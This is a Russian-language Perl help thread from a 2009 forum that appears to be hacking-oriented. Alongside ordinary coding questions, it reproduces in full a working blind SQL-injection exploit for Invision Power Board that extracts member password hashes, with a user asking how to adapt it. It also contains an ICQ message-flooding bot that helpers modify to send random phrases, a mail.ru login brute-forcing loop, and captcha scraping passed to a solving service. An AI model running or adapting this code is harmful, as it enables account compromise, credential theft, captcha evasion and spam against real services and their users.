add: А еще лучше счетчик числа попыток подключений туда добавить, а то сервер может уйти в даун/забанить/и т.д., а скрипт будет зазря работать в бесконечном цикле. Сам разберешься с этим или помочь? (;
Помочь, если не трудно :) я так понимаю у меня ни один сокет несоздаётся :( т.к. perl в инет даже невыходит
p.s. мне пишет что ошибка возникает в этой строке:print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n". "Host: ".$prefix.".mail.ru\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "User-Agent: ".$agents[$random]."\r\n". "Connection: close\r\n\r\n";
Помочь, если не трудно :) я так понимаю у меня ни один сокет несоздаётся :( т.к. perl в инет даже невыходит
Проверь что-ли настройки файрволла. Вот скриптик:use LWP::Simple; print get('http://mail.ru') - должен возвращать код страницы сайта, если все норм.
p.s. мне пишет что ошибка возникает в этой строке:Это видно из твоего первого сообщения... :)
BlackSun
14.09.2009, 22:30
Есть следующий кодес:
my $q=new CGI;
$dbh = DBI->connect(..
my $uid=($q->cookie('uid') or '');
my $sth = $dbh->prepare("SELECT id,cust_id FROM ad_session WHERE id=? AND ip=? AND useragent=?");
$sth->execute($uid, $ENV{REMOTE_ADDR}, $ENV{HTTP_USER_AGENT});
Интересует, есть ли в функции DBI::execute аналог addslashes \ mysql_escape \ etc? С перлом не дружу ..
quote
$sql = $dbh->quote($value);
$sql = $dbh->quote($value, $data_type);
Quote a string literal for use as a literal value in an SQL statement, by escaping any special characters (such as quotation marks) contained within the string and adding the required type of outer quotation marks.
BlackSun
14.09.2009, 22:55
quote
$sql = $dbh->quote($value);
$sql = $dbh->quote($value, $data_type);
Quote a string literal for use as a literal value in an SQL statement, by escaping any special characters (such as quotation marks) contained within the string and adding the required type of outer quotation marks.
Это именно используется самой функцией execute? Ибо я не пишу скрипт, меня больше интересует возможность провести скуль-иньекцию в том коде)
Это именно используется самой функцией execute?
Если в коде не используется quote, то видимо нет
помогите, пожалуйста, написать парсер для строки, который удаляет все слова заданной длины, начинающиеся на согласную букву?
bl00m, помочь или сделать за тебя?
bl00m,
#!/usr/bin/perl
$data = 'qesde fefs sdfsdf sdfsd eded';
$data =~ s/\s[^aei]\w{3}\s/ /img;
print $data
удаляет слова длинной 4, который не начинаются на a или e или i
Сам сможешь изменить на то что нужно?
Как-то так примерно
s/\b[qwrtypsdfghjklzxcvbnm]\w{3}\b//g;
[EYFORIYA]
29.09.2009, 00:48
Пожалуйсто выскажите свое мнение,по какой книге лучше всего учиться перлу...
я так понял перл за 24 часа не канает, какой наилучший вариент..?
Попробуй по этой http://sovremennik.ws/computer/2268-perl.-specialnyjj-spravochnik.html д мне понравилась.
как 1254190834 конвертировать в нормальную дату ?
perl -e '($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$is dst)=localtime(1254190834); print $hour.":".$min.":".$sec." ".$mday."-".$mon."-".($year+1900);';
Вот рабочий кусок скрипта (спасибо ачатовцам), который логинится на pornhub.com и заходит на страничку юзера (www.pornhub.com/user/1041276).
#!/usr/bin/perl
use LWP::UserAgent;
use URI::Escape;
sub login {
$user = $_[0];
$pass =$_[1];
$ua = LWP::UserAgent->new ('agent' => 'Mozilla/4.0 (compatible; Windows 5.1)');
$ua->cookie_jar ({});
#log in
my $r = $ua->post ('http://www.pornhub.com/login', 'Referer' => 'http://www.pornhub.com/login',
Content => [
'username' => $user,
'password' => $pass,
'remember_me' => 1
]);
if ($r->status_line eq '302 Found')
{
print $user." logged in\n";
} else {
print $user." login failed\n";
}
}
sub pizd{
$r = $ua->get($_[0]);
if ($r->content =~ /Wall/) {
print "wall content is ok \n"; #landed ok
} else {
print "no wall found \n";
}
}
login("Atisa","sooper");
pizd ("http://www.pornhub.com/user/1041276");
на странице юзера есть такой ЯВАСКРИП.
Нужно запустить обработчик onclick="comment_controller*******
для того, чтоб перейти на след страничку внутри профайла.
<span><strong> 1 </strong> <a class="cursor_hand" onclick="comment_controller_782873.getPage(2);"> 2 </a>
<a class="cursor_hand" onclick="comment_controller_782873.getPage(3);"> 3 </a>
<a class="cursor_hand" onclick="comment_controller_782873.getPage(4);"> 4 </a>
<a class="cursor_hand" onclick="comment_controller_782873.getPage(5);">...</a> </span>
реально ди это?
Попробуй WWW::Mechanize::Plugin::JavaScript , Может это тебе поможет. Либо раскручивать этот javascript в ручную (как я делал в свое время) и реализовывать такую функцию на perl.
отснифай и имитируй тожесамое
спасибо.
а раскручивать этот javascript в ручную
это как?
Посмотреть, что делает comment_controller_782873.getPage()
KaMiKadZe
03.10.2009, 23:28
Как использовать прокси в сокетах?
ZirroCool
03.10.2009, 23:34
Почитай здесь:
http://forum.ixbt.com/topic.cgi?id=24:10694
пора учиться пользоваться гуглом!
KaMiKadZe
04.10.2009, 10:58
Почитай здесь:
http://forum.ixbt.com/topic.cgi?id=24:10694
пора учиться пользоваться гуглом!
Умею я им пользоваться посмотрел 10 страниц по словам
perl socket proxy и ничего дельного не нашел, придется наверное на LWP переписывать :(
Умею я им пользоваться посмотрел 10 страниц по словам
perl socket proxy и ничего дельного не нашел, придется наверное на LWP переписывать :(
А задача какая? По этой ссылке все хорошо описано! посмотри еще на cpan описание модуля, если этого мало!
[EYFORIYA]
10.10.2009, 19:23
Kак сделать, что бы при запуске скрипта, он на определенном сайте искал копировал мой указанный текст в фаил...типа грабера
[EYFORIYA]
10.10.2009, 23:10
как мне бота запускать через прокси, со своего компа, socscap поможет мне ?
phpdreamer
11.10.2009, 01:20
[EYFORIYA],
use LWP;
my $web_agent = LWP::UserAgent->new();
$web_agent->proxy('http', 'http://proxy_ip:port');
my $request = HTTP::Request->new(GET => 'http://www.adres.ru/' );
my $response = $web_agent->request($request);
[EYFORIYA]
14.10.2009, 19:00
это не подходит, бот для ирц....
Граблю капчу
if ($page =~ /"captcha_sid":"(.+?)"/i)
Пишу ее в файл
getstore('http://vkontakte.ru/captcha.php?s=1&sid='.$1,.$1.'.jpg');
#Отправляем изображение на распознавание
my $id = $ac->Recognize($1.'.jpg');
но почему-то на АС приходит пустой файл изображения!
в чем может быть проблема?
Граблю капчу
if ($page =~ /"captcha_sid":"(.+?)"/i)
Пишу ее в файл
getstore('http://vkontakte.ru/captcha.php?s=1&sid='.$1,.$1.'.jpg');
#Отправляем изображение на распознавание
my $id = $ac->Recognize($1.'.jpg');
но почему-то на АС приходит пустой файл изображения!
в чем может быть проблема?
binmode($filehandle)
binmode($filehandle)
всеравно не катит
ведь правильно же пишу??
$page = $ua->get('http://vkontakte.ru/captcha.php?s=1&sid='.$1)->content;
open FILE,'>C:/perl/bin/odn/'.$1.'.jpg';
binmode(FILE);
print FILE $page;
close FILE;
my $id = $ac->Recognize('C:/perl/bin/odn/'.$1.'.jpg');
Хочу изучить PERL подкиньте книгу если не трудно для работы с новой версией
Хочу изучить PERL подкиньте книгу если не трудно для работы с новой версией
http://www.intuit.ru/department/pl/perl/1/
тут почитай
http://www.intuit.ru/department/pl/perl/1/
тут почитай
Спасибо
Patronik
17.10.2009, 17:06
#!/usr/bin/perl
## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com /ipb202/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb202/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
use IO::Socket;
if (@ARGV < 4) { &usage; }
$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];
$pass = ($target)?('member_login_key'):('password');
$server =~ s!(http:\/\/)!!;
$request = 'http://';
$request .= $server;
$request .= $path;
$s_num = 1;
$|++;
$n = 0;
print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";
($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]
MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($i);
}
$s_num++;
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%7 2%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%2 1%20";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3,$nmalykh);
while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}
return 0;
}
sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}
sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]
[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id] - user id for brute
targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)
e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
Где в етом експлоите можно поменять префкс таблиц бд которий експлоит использует для скули? я знаю правильний префикс.
что я хочу
скрипт на php который авторизируется на сайте вконтакте и пишет что нибудь (предложение одно) на стене или на заметках (или и там и там). Авторизация под моим логином, писать надо на моей стене. Просто хочу посмотреть исходный код как это вообще делается, а то в php я еще новичок и понять пока носом не ткнут у меня не получается...
Заранее спасибо за ответы.
Patronik, нет в этом сплойте префикса. Он не юзается.
$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%2 1%20";
ггг :-D
azsx, вам в раздел PHP
Patronik
17.10.2009, 21:14
[QUOTE=krypt3r]Patronik, нет в этом сплойте префикса. Он не юзается.
Спасибо! А то я задолбался спрашывать)))
Есть файл вида
name1
/**/
name2+
some text there
/**/
name3
+
some text there
/**/
name4
+
some text there
.......
Каким образом можно считывать записи разделенные /**/ рандомно??
Мысль такая...Читаем файл...заносим в массив записи до того как встретиться /**/ затем след эл-т массива и т.д. а потом рандом из массива читаем... покажите плиз на пальцах как это примерно выглядит
подскажите по такой ошибке, что не хватает для запуска?
# perl joomscan.pl Can't locate HTML/Entities.pm in @INC (@INC
contains: /usr/lib/perl5/5.10.0/i486-linux-thread-multi /usr/lib/perl5/5.10.0 /usr/
lib/perl5/site_perl/5.10.0/i486-linux-thread-multi /usr/lib/perl5/site_perl/5.10.0 /
usr/lib/perl5/site_perl/5.8.8 /usr/lib/perl5/site_perl /usr/lib/perl5/
vendor_perl/5.10.0/i486-linux-thread-multi /usr/lib/perl5/vendor_perl/5.10.0 /
usr/lib/perl5/vendor_perl .) at joomscan.pl line 27. BEGIN failed--compilation
aborted at joomscan.pl line 27.
Текст как бы намекает: Can't locate HTML/Entities.pm
2svesve, как вариант
#!/usr/bin/perl
use strict;
use warnings;
BEGIN { $\ = $/ = "\n" }
my $text = "name1
/**/
name2+
some text there
/**/
name3
+
some text there
/**/
name4
+
some text there
.......";
my @str = split /\/\*\*\//, $text;
print $str[int rand scalar @str];
2Rashid
perl -MCPAN -e 'install HTML::Entities'
2krypt3r
подскажи пожалуйста какое смысловое значение несет эта строка BEGIN { $\ = $/ = "\n" }
???
Блок BEGIN {} обрабатывается как можно раньше во время компиляции, даже если его написать в самом конце скрипта. Если пугает, то можно убрать этот блок - функционал почти не изменится )
Нее это то я понимаю, а вт само значение вот этого
$\ = $/ = "\n" я не догоняю
$\ aka $ORS aka $OUTPUT_RECORD_SEPARATOR - разделитель выходных записей (фактически указатель конца) для print;
$/ aka $INPUT_RECORD_SEPARATOR - разделитель входных записей, по умолчанию - символ перевода строки (0x0a), который применяется функциями readline, оператором <FH>, и функцией chomp.
Подробнее в кэмел-буке.
ЗЫ. Задрало в конце print добавлять \n, особенно когда их много
Спасибо, будем читать и курить маны )
З.Ы. случаем нет линка на книженцую?!
Случайно есть - http://files.mail.ru/3KEV1G. Третье издание, русский, естественно
.::ICH::.
22.10.2009, 16:46
помогите поменять вот это чудо #!/usr/bin/perl use warnings; use strict; use threads; use threads::shared; use Socket; my $targetUin = ; #кого my $message = ' '; #чем my ($host,$port) = ('login.icq.com', 5190); print "\n$0 (c)oded by C!klodoL-=AzoTkiN=-\n"; my @uins : shared; open(FILE, '<uins.txt'); @uins = <FILE>; close(FILE); chomp(@uins); my $threads = scalar @uins; #количество потоков = количеству асек в файле my @thread; for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 } for(1..$threads) { $thread[$_]->join; } sub flood { my ($uin,$password) = split(/;/,shift(@uins)); my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin. "\x00\x02".int2bytes(length($password)). substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x 53\x7A\x95\x7C",0,length($password)). "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x 00\x16\x00\x02\x01\x0A\x00". "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x 19\x00\x02\x00\x00\x00\x1A". "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x 00\x0F\x00\x02\x65\x6E\x00". "\x0E\x00\x02\x75\x73"; my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname(' tcp')); connect(SOCKET,sockaddr_in($port,inet_aton($host)) ); my $response; sysread(SOCKET,$response,10); syswrite(SOCKET,$FLAP.$SNAC); sysread(SOCKET,$response,65535); close(SOCKET); if($response=~/MISMATCH_PASSWD/) { return } my ($BOS_Host, $BOS_Port, $Cookie); if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) { $Cookie = parsCookie($response); print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n" } else { return } $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie; $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname(' tcp')); connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BO S_Host))); sysread(SOCKET,$response,10); syswrite(SOCKET,$FLAP.$SNAC); sysread(SOCKET,$response,65535); $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x 00\x03\x01\x10\x02\x8A\x00\x02". "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x 02\x8A\x00\x15". "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x 02\x8A\x00\x06". "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x 02\x8A\x00\x0A". "\x00\x01\x01\x10\x02\x8A"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); syswrite(SOCKET,$FLAP.$SNAC); for(;;) { $SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\x EF\x52\xEA\x92\xD3\x3F\x00\x02". pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102). "\x00\x00". "\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x 4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00". "\x00\x0A\x00\x02\x00\x01\x00\x0F". "\x00\x00\x27\x11". #хз int2bytes(length($message)+62). #61 + длина текста "\x1B\x00\x08".("\x00"x19). "\x03\x00\x00\x00". "\x00\x02\x00\x0E\x00\x02".("\x00"x13). "\x01\x00\x00\x00\x00". "\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); syswrite(SOCKET,$FLAP.$SNAC); sleep 2+int(rand(3)); print "$uin send message\n" } } sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое sub parsCookie { #парсер куки my $cookie = shift; my $i++; for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" } return substr($cookie,4+$i,256) } BEGIN { #счётчик номера пакета my $seqNum = int(rand(65535)); sub seqNum { $seqNum++; $seqNum = 0 if $seqNum > 65535; return int2bytes($seqNum) } }
чтобы оно флудило случайными фразами
каким образом через
$page = $ua->post(....)->as_string;
Можно отдать данные, медиа файл к примеру.
чтобы оно флудило случайными фразами
Замени в начале my $message = '';
На my @message = ('Text1', 'Text2');
Далее после for(;;) {
Напиши my $message = $message[rand @message];
каким образом через
$page = $ua->post(....)->as_string;
Можно отдать данные, медиа файл к примеру.
Например залить картинку на сервер что ли?
Например залить картинку на сервер что ли?
Так точно! Залить картинку
сформирована переменная $data
my $data =
"-----------------------------169211662827935\r\n".
"Content-Disposition: form-data; name=\"act\"\r\n\r\n".
......
......
......
"Content-Disposition: form-data; name=\"file\"; filename=\"logo.jpg\"\r\n".
"Content-Type: image/jpeg\r\n\r\n".
$file."\r\n".
"-----------------------------169211662827935\r\n";
куда присобачить это
"Content-Type: multipart/form-data; boundary=169211662827935\n".
"Content-Length: ".length($data)."\n\n".$data;
?????
и как выглядеть будет $page=$ua->post();
http://lwp.interglacial.com/ch05_07.htm
В документации к HTTP::Request::Common есть пример, как прилеплять к посту файл
POST 'http://www.perl.org/survey.cgi',
'Content_Type' => 'form-data',
'Content' => [
'name' => 'Gisle Aas',
'email' => 'gisle@aas.no',
'gender' => 'M',
'born' => '1964',
'init' => ["$ENV{HOME}/.profile"],
]
ЗЫ. Нашел вот у себя скрипт, меняющий вконтакте аватару (в еастоящее время он нерабочий в связи с изменениями на сайте). Кусок POST-запроса
$req = $ua->post ($action, [],
'Host' => $host,
'Referer' => $url . 'profileEdit.php?page=photo',
'Connection' => 'Keep-Alive',
'Content_Type' => 'form-data',
'Content' => [
'subm' => 1,
'photo' => ['daemon2.jpg']
]
);
.::ICH::.
23.10.2009, 08:46
можно плиз конечный вариант^^ я в перле не шарю =( я запутался xD
Очень прошу помочь в написании парсера файла след. вида:
Array
(
[parameter] => testing
[key] => Test1
[Referrer] => HIDDEN
[Time] => TRUE
)
i like bitches0
Array
(
[parameter] => neva
[key] => megakey
[Referrer] => mozilla
[Time] => 2007-09
)
i hate morons8
Как видно в файле много блоков (в примере привел 2, но их больше), которые состоят из блока Array () и затем одной строки.
Нужен скрипт, который бы присваивал $parameter значение из блока [parameter], $key - из блока [key] и так далее.
Т.е. для 1го блока:
$parameter = 'testing'
$key = 'Test1'
$Referrer = 'HIDDEN'
$Time = 'TRUE'
И последняя строка содержит в себе еще 2 параметра:
1) $first-parameter - вся строка, кроме последней одной цифры, т.е. $first-parameter = 'i like bitches'
2) $second-parameter - последняя цифра из полсденей строки, т.е. 0 для первого блока, 8 - для второго
Вот и хочется, чтобы шел парсинг файла в цикле, а я уже сам добавлю - print нужных параметров в нужной мне форме в цикл.
Кол-во строк в каждом блоке постоянно и заранее известно.
Поможете?
#!/usr/bin/perl
use strict;
use warnings;
$\ = "\n";
my $str = <<STR;
Array
(
[parameter] => testing
[key] => Test1
[Referrer] => HIDDEN
[Time] => TRUE
)
i like bitches0
Array
(
[parameter] => neva
[key] => megakey
[Referrer] => mozilla
[Time] => 2007-09
)
i hate morons8
STR
while ($str =~ /Array\s*\(\s*\[parameter\]\s*=>\s*(.+)\n\s*\[key\]\s*=>\s*(.+)\n\s*\[Referrer\]\s*=>\s*(.+)\n\s*\[Time\]\s*=>\s*(.+)\n\s*\)\s*(.+?)(\d+)\n|\Z/gm) {
my ($parameter, $key, $Referrer, $Time, $first_par, $second_par) = ($1, $2, $3, $4, $5, $6);
last unless defined $key;
print join ', ' => $parameter, $key, $Referrer, $Time, $first_par, $second_par;
}
krypt3r
Большущее спасибо!
Один момент - как можно изменить так, чтобы при отсутствии чего-либо из последней строки - все-равно выводилось? Т.е. если вместо
i hate morons8
будет последней строкой
8
или
i hate morons
Сейчас если что-либо из них отсутствует, то вся строка не печатается.
Или это потребует все поменять?
Чуток только регулярку подправить
... \s*(.*?)(\d*)\n|\Z/gm
Pashkela
25.10.2009, 16:25
вопрос, есть такой код:
#!/usr/bin/perl
use threads;
use threads::shared;
my $n : shared;
$a = gets();
print $a . "\n";
sub gets {
$thr = 10;
$n = 0;
for(0..$thr) {
$trl[$_] = threads->create(\&gets1);
}
for(0..$thr) {
$trl[$_]->join;
}
sub gets1 {
$| = 1;
$ii = "";
while ($n < 10) {
{ lock($n);
$n++; }
$ii .= $n;
print $ii . "\n";
}
return $ii;
}
}
как получить значение $ii ?
Т.е. как бы примеров с многопоточными функции в инете полно, но везде производится просто ВЫВОД НА МОНИТОР, как именно ВЕРНУТЬ полученное значение, чтобы использовать его дальше? Спасибо
Pashkela
25.10.2009, 17:49
спасибо, задумка понятна, но там join в цикле, при попыке ретурна обрываются потоки, как корректно прилепить этот вариант к коду выше?
а что предполагается получить?
Pashkela
25.10.2009, 18:25
$ii
Я в более глобальном смысле)
Pashkela
25.10.2009, 18:36
То значение, которое выводится на экран, мне надо не прости вывести на экран, но получит возможность работать с этой переменной дальше. Как еще объяснить - хз.
если переписать функцию gets1 так
sub gets1 {
$| = 1;
$ii = "";
$i = 0;
while ($n < 10) {
{ lock($n);
$n++; }
$ii .= $n;
#print $ii . "\n";
$i++;
}
print $i, "\n";
}
получим вывод
10
0
0
0
0
0
0
0
0
0
0
Цикл while отрабатывает лишь в первом потоке. Переменная $ii определена после цикла лишь при первом вызове подпрограммы. Это так и предполагается?)
Pashkela
25.10.2009, 19:06
издеваешься?:) Еще раз:
вопрос, есть такой код:
Код:
#!/usr/bin/perl
use threads;
use threads::shared;
my $n : shared;
$a = gets();
print $a . "\n";
sub gets {
$thr = 10;
$n = 0;
for(0..$thr) {
$trl[$_] = threads->create(\&gets1);
}
for(0..$thr) {
$trl[$_]->join;
}
sub gets1 {
$| = 1;
$ii = "";
while ($n < 10) {
{ lock($n);
$n++; }
$ii .= $n;
print $ii . "\n";
}
return $ii;
}
}
как получить значение $ii ?
Ну почему же издеваюсь. Если воткнуть print $ii не перед закрывающей фигурной сккобкой, а после (перед ретурном), все будет видно)
ЗЫ.
#!/usr/bin/perl
use threads;
use threads::shared;
my $n : shared;
$a = gets();
print $_, "\n" for @$a;
#print $a . "\n";
sub gets {
$thr = 10;
$n = 0;
for(0..$thr) {
$trl[$_] = threads->create(\&gets1);
}
for(0..$thr) {
$res[$_] = $trl[$_]->join;
}
sub gets1 {
$| = 1;
$ii = "";
while ($n < 10) {
{ lock($n);
$n++; }
$ii .= $n;
#print $ii . "\n";
}
#print $ii, "\n";
return $ii;
}
return \@res;
}
Pashkela
25.10.2009, 19:33
круть, спасибо, если заменить на
print $_, "\r" for @$a;
то как раз то, что надо
PS: Но остался последний момент, это опять вывод просто на экран, а если $ii мне нужно как число для дальнейших операций, то вариант не подходит
Т.е. вопрос в том, как мне выцепить после всех этих извращенств число "12345678910" и юзать его дальше
Ну вот, к примеру, надо добавить к коду каждого символа строки число 2 и вывести на экран новую строку
$a = gets();
@b = unpack 'C*', $a->[0];
$_ += 2 for @b;
print pack 'C*', @b;
Pashkela
25.10.2009, 20:19
спасибо, твои советы мне очень помогли
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot